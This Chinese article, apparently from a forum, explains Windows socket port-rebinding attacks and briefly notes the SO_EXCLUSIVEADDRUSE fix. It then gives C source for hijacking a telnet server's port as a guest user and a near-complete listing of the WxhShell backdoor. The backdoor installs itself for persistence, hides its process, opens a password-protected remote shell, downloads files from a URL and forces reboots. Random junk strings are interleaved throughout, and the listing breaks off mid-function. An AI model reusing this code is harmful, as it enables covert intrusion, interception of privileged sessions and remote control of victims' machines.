在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Yx?aC!5M s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%l9$a`&
7
Yv!N saddr.sin_family = AF_INET;
mv
Ov<x;l ~I_owCVZ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
8<PKKDgbfd 9q4_j bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
zjM/M !G=>ve 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|KG&HNfP- IS_Su;w>4 这意味着什么?意味着可以进行如下的攻击:
8:g!w:$x -wr(vE, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
FRyPeZR RR25Q.c 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
]EL\)xCr RtF8A5ys 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
]W9B6G_ 4~u9B/v 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
G!-J$@P ku.A|+Tn 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
,ECAan/@ ubGs/Vzye 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
cx(2jk}6 Gbb\h 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
INNAYQ lmFA&s"m #include
F1u)i #include
#\FT EY! #include
Gt^d;7x] #include
pt!'v$G/* DWORD WINAPI ClientThread(LPVOID lpParam);
3IyZunFT int main()
YF[$Q=7. {
pC^[ [5A WORD wVersionRequested;
>[3X]n,0 DWORD ret;
uW[3G WSADATA wsaData;
dtW0\^ .L BOOL val;
#EwK"S~ SOCKADDR_IN saddr;
nxRwWj57 SOCKADDR_IN scaddr;
8M93cyX int err;
@ ^.*$E5 SOCKET s;
,/o(|sks SOCKET sc;
/t{=8v~ int caddsize;
1X@b?6 HANDLE mt;
A@ VaaX DWORD tid;
@l>Xnqx) wVersionRequested = MAKEWORD( 2, 2 );
6"%qv`.Fp err = WSAStartup( wVersionRequested, &wsaData );
w~-X>~ } if ( err != 0 ) {
( pD7 printf("error!WSAStartup failed!\n");
.Ty,_3+{#p return -1;
Vipp /WV }
,ep9V,+| saddr.sin_family = AF_INET;
;X7i/DQ j.&
;c'V$. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
8-A|C<
" SfDQ;1? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
VK4/82@5 saddr.sin_port = htons(23);
8ui=2k( if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
TG]}X\c+V| {
nEVbfNo0 printf("error!socket failed!\n");
(Jpm
K O return -1;
lPS*-p#IZ }
|Ylg$?,9* val = TRUE;
)F
E8D //SO_REUSEADDR选项就是可以实现端口重绑定的
oFyeH )! if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
P`2&*2, {
>EBC 2WJ printf("error!setsockopt failed!\n");
Xiju"Cup" return -1;
gb_X?j%p7 }
wP`sXPSmIu //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
coAW9=o} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
eBvW#Hzp //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Z3`2-r_= }xJR.]).KW if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
C1ZyB"{
{
xMsGs ret=GetLastError();
)Pa*+ew7 printf("error!bind failed!\n");
]wf|PU~nr return -1;
u:5IjOb2^ }
$3:X+X listen(s,2);
)[
b#g(Y( while(1)
@LC~*_y {
A;t
zRe caddsize = sizeof(scaddr);
}} # be //接受连接请求
-$L(y@%X^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
X7&U3v if(sc!=INVALID_SOCKET)
@ RX`> r{_ {
xN"wF-s4? mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
{Y"8~ if(mt==NULL)
^BNp`x;;` {
#NMJZ printf("Thread Creat Failed!\n");
m+7`\|`jQ break;
SJ[AiHR }
j!CU }
qZ?{-Vw CloseHandle(mt);
MA"#rOcP }
eaxfn]gV closesocket(s);
2:~cJk{ WSACleanup();
/=ACdJ return 0;
Wx k;g }
2YluJ:LN DWORD WINAPI ClientThread(LPVOID lpParam)
ex0oAt^ {
`{L{wJ:&a SOCKET ss = (SOCKET)lpParam;
Z fqQ{_ SOCKET sc;
L6 kZ2-6 unsigned char buf[4096];
PC0HH SOCKADDR_IN saddr;
O(Td:Zdp long num;
OaNc9c" DWORD val;
<vLdBfw&N DWORD ret;
D{W
SKn //如果是隐藏端口应用的话,可以在此处加一些判断
/Mx.:.A&$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
@Q3, bj saddr.sin_family = AF_INET;
%xpd(&)n saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Yg|"- saddr.sin_port = htons(23);
\N yr=<c if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
AtT"RG-6 {
9nO(xJ"e4 printf("error!socket failed!\n");
'tut4SwC return -1;
pMDH }
n5 >B LtY val = 100;
'DeW<Sa~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
a>?p.!BM {
LhZZc`|7t ret = GetLastError();
YPG,9iZ&f return -1;
<oZ(n g@X }
A$N+9n\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
IuDT=A {
&p)@8HY ret = GetLastError();
iA&oLu[y3 return -1;
qz87iJp& }
+`9yZOaC# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
9D%qXU {
q$|0)} printf("error!socket connect failed!\n");
'#KA+?@ closesocket(sc);
7\f{'KL closesocket(ss);
Jxf}b}^T return -1;
%B0w~[!4} }
1O23"o5= while(1)
s9G)Bd 8 {
oFb\TiLu //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
K,G,di //如果是嗅探内容的话,可以再此处进行内容分析和记录
*^ey]),f54 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
gU u&Vy\ num = recv(ss,buf,4096,0);
'%);%y@v if(num>0)
dA|Lufy# send(sc,buf,num,0);
{clCn else if(num==0)
Q|Nzbmwh break;
4p?+LdL num = recv(sc,buf,4096,0);
8V,"Id][ if(num>0)
7t`E@dm send(ss,buf,num,0);
:|zp8| else if(num==0)
~K_ ]N/ > break;
{[my"n2 }
Oe/73|
>U closesocket(ss);
xSx&79Ez<* closesocket(sc);
{uEu>D$8 return 0 ;
Z4\tY^NI }
J-b~4 %l%=Dkss 6W]OpM ==========================================================
QN3qF|))
!,Qm 下边附上一个代码,,WXhSHELL
SQKi2\8w %7iUlO}}V ==========================================================
:a=ro2NH 5d> nIKW #include "stdafx.h"
@Jkui =!(S<]; #include <stdio.h>
W;q#ZD(; #include <string.h>
%N7gT*B: #include <windows.h>
eSJAPU(D #include <winsock2.h>
]"C| qR* #include <winsvc.h>
YGfA qI
y #include <urlmon.h>
gHp'3SnS KBd7|,j #pragma comment (lib, "Ws2_32.lib")
0&.LBv8 #pragma comment (lib, "urlmon.lib")
.mC~Ry+t CQj/e+eE4 #define MAX_USER 100 // 最大客户端连接数
x`Vy<h 33 #define BUF_SOCK 200 // sock buffer
4u@yJ?U #define KEY_BUFF 255 // 输入 buffer
<zfO1~^ =VCi8jDkP #define REBOOT 0 // 重启
7E;>E9 ' #define SHUTDOWN 1 // 关机
Dp%5$wF)8
mgk64}K [n #define DEF_PORT 5000 // 监听端口
+[>yO _} #8S [z5 ` #define REG_LEN 16 // 注册表键长度
A1mYkG)l #define SVC_LEN 80 // NT服务名长度
f&=K]:WDe u![4=w // 从dll定义API
FP.(E9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
])+Sc"g4k typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
H<v c\r typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
|*lH9lWJ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
yBr$ 0$ Q~x*bMb. // wxhshell配置信息
j@%K*Gb` struct WSCFG {
s.<olxXRW int ws_port; // 监听端口
7^n,Tig char ws_passstr[REG_LEN]; // 口令
&*X3ch int ws_autoins; // 安装标记, 1=yes 0=no
5}<.1ab3V char ws_regname[REG_LEN]; // 注册表键名
z\X60T char ws_svcname[REG_LEN]; // 服务名
Tbe_xs^ char ws_svcdisp[SVC_LEN]; // 服务显示名
7yo|ie@S char ws_svcdesc[SVC_LEN]; // 服务描述信息
1-4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
e_YW~z=6t int ws_downexe; // 下载执行标记, 1=yes 0=no
]R97n|s_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
=~,$V<+c
char ws_filenam[SVC_LEN]; // 下载后保存的文件名
\/?
!
6~ sZ0g99eX };
_Jf J%YXy B)(p9]q // default Wxhshell configuration
nwZ[Ygl| struct WSCFG wscfg={DEF_PORT,
d,Hf-zJ%~ "xuhuanlingzhe",
j4.Qvj >:4 1,
$I?=.:<+ "Wxhshell",
Bq~AU# "Wxhshell",
\W3+VG2cA "WxhShell Service",
s#'|{ "Wrsky Windows CmdShell Service",
"r5'lQI "Please Input Your Password: ",
bx+(.F 1,
NTXws4'D "
http://www.wrsky.com/wxhshell.exe",
{Bav$kw;?e "Wxhshell.exe"
m~Lf^gbG? };
VZUZngw =g{_^^n // 消息定义模块
F2Nb5WT char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
#R~">g:w char *msg_ws_prompt="\n\r? for help\n\r#>";
g_3rEvf"4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
O JZ!|J8? char *msg_ws_ext="\n\rExit.";
pkrl@jv > char *msg_ws_end="\n\rQuit.";
f]@[4<N y char *msg_ws_boot="\n\rReboot...";
!Ei Ze.K char *msg_ws_poff="\n\rShutdown...";
AlPL;^Y_l char *msg_ws_down="\n\rSave to ";
@\x,;!N@ &6|6J1c8 char *msg_ws_err="\n\rErr!";
Vvxc8v: char *msg_ws_ok="\n\rOK!";
O+CF/ipX/ jldcvW char ExeFile[MAX_PATH];
yb@X*PW/z int nUser = 0;
SL?%/$2g=O HANDLE handles[MAX_USER];
(H|%?F;{l int OsIsNt;
VWnu#_( b AA'=z< SERVICE_STATUS serviceStatus;
d +*T@k]>M SERVICE_STATUS_HANDLE hServiceStatusHandle;
T>AI0R3 m)tI // 函数声明
`R4W4h'I int Install(void);
|q1b8A \ int Uninstall(void);
KDNTnA1c int DownloadFile(char *sURL, SOCKET wsh);
_*OaiEL+: int Boot(int flag);
*@b~f&Lx6 void HideProc(void);
hW*^1%1 int GetOsVer(void);
7v4-hfN int Wxhshell(SOCKET wsl);
Jgi{7J void TalkWithClient(void *cs);
ex;Yn{4 int CmdShell(SOCKET sock);
s+OvS9et_ int StartFromService(void);
LaAgoarN int StartWxhshell(LPSTR lpCmdLine);
.HH,l 8EW`*+%= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
B=o#LL VOID WINAPI NTServiceHandler( DWORD fdwControl );
]ly)z[is"] $=;bccIob // 数据结构和表定义
"9MX,}X* SERVICE_TABLE_ENTRY DispatchTable[] =
7;$L&X {
ss|6_H = {wscfg.ws_svcname, NTServiceMain},
VC_3 ll]vr {NULL, NULL}
XY$cx~ };
=6"hj,[Q ynOc~TN // 自我安装
)VSGqYr# int Install(void)
_zVbqRHlw {
3!ajvSOI9j char svExeFile[MAX_PATH];
bOnukbJ HKEY key;
DcFV^8O& strcpy(svExeFile,ExeFile);
.q'FSEkMJ uMq\];7I // 如果是win9x系统,修改注册表设为自启动
6 ^6uK if(!OsIsNt) {
cSH tl<UY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B<|q{D$N/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
l1`c?Y RegCloseKey(key);
JY;#]'T\; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^YB\\a9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6w .iEb RegCloseKey(key);
0X}w[^f return 0;
!Cv<>_N). }
[8om9 Z3 }
`qYc#_ELv }
xr1I8 5kM else {
0lJBtk9wn FrE/K_L // 如果是NT以上系统,安装为系统服务
i >/@]2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
st1M.} if (schSCManager!=0)
;#Crh}~ {
$7k04e@] SC_HANDLE schService = CreateService
QtO[g (
M\$<g schSCManager,
}!J/ 9WKgU wscfg.ws_svcname,
.,iw2: wscfg.ws_svcdisp,
l*V72!Mv SERVICE_ALL_ACCESS,
C9^elcdv SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@?($j)9} SERVICE_AUTO_START,
~jrU#<'G9 SERVICE_ERROR_NORMAL,
y|2g"J svExeFile,
f|HgLFx NULL,
8mQd*GGu1 NULL,
:L+zUlsf NULL,
E Zu NULL,
"}azC|:5 NULL
::Ve ,-0 );
n$\6}\k if (schService!=0)
KcMzZ!d7m {
B1AF4}~5 CloseServiceHandle(schService);
RAXJsF^5o CloseServiceHandle(schSCManager);
{3yws4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
RWEgUDX^/ strcat(svExeFile,wscfg.ws_svcname);
lf7H8k, - if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
W0C$*oe!_i RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
tI(t%~>^ RegCloseKey(key);
&opH\wa return 0;
Yh!\:9@( }
uma9yIk }
F\$}8,9 CloseServiceHandle(schSCManager);
C8%nBa/ }
rt4|GVa }
^c:eXoU l.t. ,: return 1;
5Qe}v }
61 HqBa =F;^^VX // 自我卸载
7[ VCCI
g int Uninstall(void)
!&<Wc^PG {
F^[Rwzv>c HKEY key;
Ub-k<]yZ J5r
L7 if(!OsIsNt) {
#on fac- 3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9cHNwgD>v RegDeleteValue(key,wscfg.ws_regname);
Y{\2wU!Isn RegCloseKey(key);
s?gXp{O?X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
m:o$|7r RegDeleteValue(key,wscfg.ws_regname);
aG&kl O>m RegCloseKey(key);
Z_TbM^N return 0;
-Z#]_C{Y-) }
Wug ?CFX+T }
E"vi+'(v }
CX@HG)l else {
m_Y}> ckkM)|kK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
pRfHbPV? if (schSCManager!=0)
:y)&kJpleP {
?_`P;}4# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
n ;fTx if (schService!=0)
@C6DOB {
MZ#2WP)F if(DeleteService(schService)!=0) {
[@71 CloseServiceHandle(schService);
|x~ei_x7.p CloseServiceHandle(schSCManager);
@;-Un/'C;7 return 0;
|kRx[UL }
S}oF7;'Ga CloseServiceHandle(schService);
E?W!.hbA }
bu!<0AP"N+ CloseServiceHandle(schSCManager);
\~m%4kzG8J }
LHGK!zI }
XwqfWd_ (%^TTe return 1;
!N2 n@bo }
?>Ci`XlLr w2_I/s6B // 从指定url下载文件
X\:(8C;+ int DownloadFile(char *sURL, SOCKET wsh)
3R96;d; {
{d5ur@G1 HRESULT hr;
AHg4kG char seps[]= "/";
xn#I7]]G char *token;
-)c"cgx. char *file;
x[<#mt char myURL[MAX_PATH];
^.aEKr char myFILE[MAX_PATH];
oHGf | <UHf7:0V strcpy(myURL,sURL);
kT3;%D^ token=strtok(myURL,seps);
iY`7\/H!L while(token!=NULL)
vVRCM {
K>E!W!-PJ file=token;
XsCbJ[Z_?q token=strtok(NULL,seps);
8YkH }
- cC(d$y Q? |M BTo GetCurrentDirectory(MAX_PATH,myFILE);
_p^ "! strcat(myFILE, "\\");
w\[*_wQp strcat(myFILE, file);
h.0&)t\q" send(wsh,myFILE,strlen(myFILE),0);
0hr)tYW,G send(wsh,"...",3,0);
P<oD*C hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
&Fr68HNmj if(hr==S_OK)
$zH0$aOx return 0;
9S`b7U=P else
rb4g<f| return 1;
X_yU"U :BiR6>1: }
iV$75Atk Cl){sP=8W // 系统电源模块
Yl3PZ*#@ Q int Boot(int flag)
C F 0IP {
/-9+( HANDLE hToken;
"PP0PL^5F TOKEN_PRIVILEGES tkp;
{}2p1-( k:yu2dQh if(OsIsNt) {
S~`AnX3! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
z:?
<aT LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
{dH<Un(4Z tkp.PrivilegeCount = 1;
Z4tq&^ :c= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Q/SC7R&"t AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
3S21DC@Y if(flag==REBOOT) {
YuuG:Kk if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
-s84/E4Y* return 0;
/1@m#ZxA: }
?a_q!,8: else {
DFH6.0UW if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
(9lx5 return 0;
WM7/|.HQ }
9E*K44L/V }
<W{0@?y else {
DccsVR`7 if(flag==REBOOT) {
q.Mck9R7 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
!S}Au Mw return 0;
@_Oe`j^ }
Z9EQ|WfS#- else {
jiD8|%}v if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
a#j^gu$m return 0;
xJ.!Q)[ }
q/G5aO* }
CzbNG^+ +u)$o return 1;
T`G"2|ISS }
L-T Ve 'Z9F0l"Nr // win9x进程隐藏模块
I=-;*3g6 void HideProc(void)
73<yrBxp {
`a9>4 U Bg_b?k HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
*a.*Ha if ( hKernel != NULL )
|a\TUzq {
WHT%m|yn pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
\C.@ @4{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
n[-!Jp[ FreeLibrary(hKernel);
&g {_.n, }
>C66X?0cd 1W7BN~p14 return;
~;s)0M }
00TdX|V` Ku'U^=bVm: // 获取操作系统版本
Wuz~$SU int GetOsVer(void)
8hA=$}y&x {
ApBThW*E OSVERSIONINFO winfo;
?V)6`St#C winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
<us{4% GetVersionEx(&winfo);
p+?WhxG) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
xo+z[OIlF return 1;
1MSu])
W else
znRhQ+8;! return 0;
vRs5-T }
GC3L2C0)k #{1fb%L{i // 客户端句柄模块
>4b39/BM int Wxhshell(SOCKET wsl)
EC/R|\d?Un {
[J
Xrj{ SOCKET wsh;
}5Uf`pM8 struct sockaddr_in client;
n5/Q)*e0'# DWORD myID;
YJ$
=`lIM bS<p dOX_ while(nUser<MAX_USER)
0rUf'S
?K {
@9a=D<'> int nSize=sizeof(client);
s,x]zG" wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
eW%jDsC if(wsh==INVALID_SOCKET) return 1;
3\7$)p+c qiN'Tuw9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
2B;QS\e" if(handles[nUser]==0)
?YO%]mTP closesocket(wsh);
iI7~9SCE else
i2E7$[ nUser++;
e+TNG &_ }
5c8x:
e@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Q!v[b{]8 b.&YUg[# return 0;
{'(8<n57 }
8),Y|4 TH &B9 // 关闭 socket
.VT,,0 void CloseIt(SOCKET wsh)
6npwu5! {
a$m?if= closesocket(wsh);
%b9M\ nUser--;
Viw3 /K ExitThread(0);
=KLYR UW }
QZo l(2~Y D.?gV_ // 客户端请求句柄
'-=?lyKv void TalkWithClient(void *cs)
%s>E@[s {
/Z_QCj 75f.^4/% SOCKET wsh=(SOCKET)cs;
"?SnA +) char pwd[SVC_LEN];
v},sWjv char cmd[KEY_BUFF];
ZtDpCl_ char chr[1];
\ :.p8` int i,j;
D5x^O2 kTV D4Z= while (nUser < MAX_USER) {
zAewE@N#_ p20Nk$. if(wscfg.ws_passstr) {
V5+a[`] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&PX'=UT //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0'uj*Y{L //ZeroMemory(pwd,KEY_BUFF);
hkG<I';M?M i=0;
0ZN/-2c A# while(i<SVC_LEN) {
uHYI :(O q`hg@uwA{` // 设置超时
wlJ1,)n^2 fd_set FdRead;
#A!0KN;GC2 struct timeval TimeOut;
cf9y0 FD_ZERO(&FdRead);
{;U:0BPI3 FD_SET(wsh,&FdRead);
Nsq%b?# TimeOut.tv_sec=8;
=[kv@p TimeOut.tv_usec=0;
.PgkHb=l@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
*6L^A`_1] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
uY,FugWbl x/~M=][tN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
3-'|hb pwd
=chr[0]; gK /K Z8
if(chr[0]==0xd || chr[0]==0xa) { 4)_ [)MZ\j
pwd=0; e]QkZg2?Yn
break; #~b9H05D
} `m5iZxhw
i++; l}x{.q7Ul
} y06 2/$*$
/+u*9ZR&1
// 如果是非法用户,关闭 socket Ts\7)6|F
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )'JSu=Ej
} B}W^s;h
l-&f81W
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -nW-I\d%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i!NGX
:.<&Y=^
while(1) { L@wnzt
\xt!b^d0
ZeroMemory(cmd,KEY_BUFF); 'py
k
#!2gxm;g
// 自动支持客户端 telnet标准 (w*$~p
j=0; ?~!h
N,h
while(j<KEY_BUFF) { x{m)I<.:
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4[?Q*f!
cmd[j]=chr[0]; ep5aBrN]"
if(chr[0]==0xa || chr[0]==0xd) { L>B0%TP^
cmd[j]=0; GCrN:+E0FJ
break; N`M5`=.
} xK/`XY
j++; wgrYZ^]
} rO
NLbrj
Hl#o& *Ui"
// 下载文件 3]'3{@{}H
if(strstr(cmd,"http://")) {
#xmUND`@
send(wsh,msg_ws_down,strlen(msg_ws_down),0); gU`QW_{
if(DownloadFile(cmd,wsh)) 9} vWTt0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q9OIw1xQr*
else xsfq[}eH<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <^=k~7m
} PSRGlxdO
else { JOMZ&c^
zVIzrz0
switch(cmd[0]) { !`SR$dnE
B7#;tCf
// 帮助 nJ,56}
case '?': { Ac|`5'/Tx
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o` e~1
break; }Eav@3h6
} P5N"7/PfW
// 安装 VAq:q8(K
case 'i': { RR"#z'zQ
if(Install()) r
)T`?y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t*COzE
else :A[ Gtc(_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (nBsf1l
break; zmdOL9"a
} .8"o&%$`V
// 卸载 {S|uQgs6j
case 'r': { +/ #J]v-
if(Uninstall()) cJt#8P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rTi.k
else ^#G>P0mG%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); })J]D~!p
break; wtZe\h
} F*a+&% Q
// 显示 wxhshell 所在路径 U*-%V$3+w5
case 'p': { kr3ZqMfeI
char svExeFile[MAX_PATH]; l!oU9
strcpy(svExeFile,"\n\r"); '8dqJ`Gj
strcat(svExeFile,ExeFile); pPIH`Iq
send(wsh,svExeFile,strlen(svExeFile),0); Va1|XQ<CL
break; I} j!
!
} S`NH6?/uH
// 重启 pD){K
case 'b': { dZZHk
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &B))3WFy
if(Boot(REBOOT)) UPbG_ #"wZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2+|[e_
else { oL<^m?-u
closesocket(wsh); &R 0BuFL8
ExitThread(0); QII>XJ9
} 5bgx;z9
break; l!`m}$
} Q 5Ln'La$
// 关机 d~.#K S
case 'd': { A0'Yfuie
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b+{yF
if(Boot(SHUTDOWN)) u!t'J+:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5^%FEZ&Sp
else { vwP83b0ov"
closesocket(wsh); l!GAMK 6o
ExitThread(0); C3D1rS/I
} ~V (WD;Mk
break; k&9
b&-=fk
} ](^xA`
// 获取shell ]E,
case 's': { =s;7T!7!
CmdShell(wsh); :
G<